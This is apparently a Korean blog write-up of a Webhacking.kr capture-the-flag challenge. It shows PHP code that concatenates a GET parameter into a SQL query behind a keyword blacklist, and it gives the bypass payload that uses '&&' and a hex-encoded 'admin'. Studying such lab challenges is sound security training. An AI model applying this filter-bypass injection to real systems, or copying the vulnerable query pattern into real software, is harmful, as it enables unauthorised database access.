문제페이지는 해당 페이지와 같다.
SQL INJECTION 문구가 출력되어 있으며 level 입력창에 1이 입력된 채로 존재하고, view-source 링크가 존재한다
해당 링크를 통하여 소스코드를 확인해본다.
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
GET 방식으로 받아오는 lv 값을 select, or, and, (, ), limit, 콤마(,), /, order, cash, 공백, tap키, 작은따옴표('), 큰따옴표(") 필터링하여 쿼리문을 생성하여 $result 값에 저장하여 0번째 인덱스 값이 admin 인 경우 문제가 풀린다는 것을 확인할 수 있다.
lv 파라미터 값이 lv=1 and id='admin' 이 입력되도록 필터링 되는 부분을 우회하여 lv=1&&id=0x61646D696E 를 입력하면 해당 문제가 풀린다.
'프로젝트 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge(old) 54번 문제 (0) | 2021.07.19 |
---|---|
[Webhacking.kr] Challenge(old) 53번 문제 (0) | 2021.07.19 |
[Webhacking.kr] Challenge(old) 46번 문제 (0) | 2021.07.19 |
[Webhacking.kr] Challenge(old) 29번 문제 (0) | 2021.07.19 |
[Webhacking.kr] Challenge(old) 34번 문제 (0) | 2021.07.19 |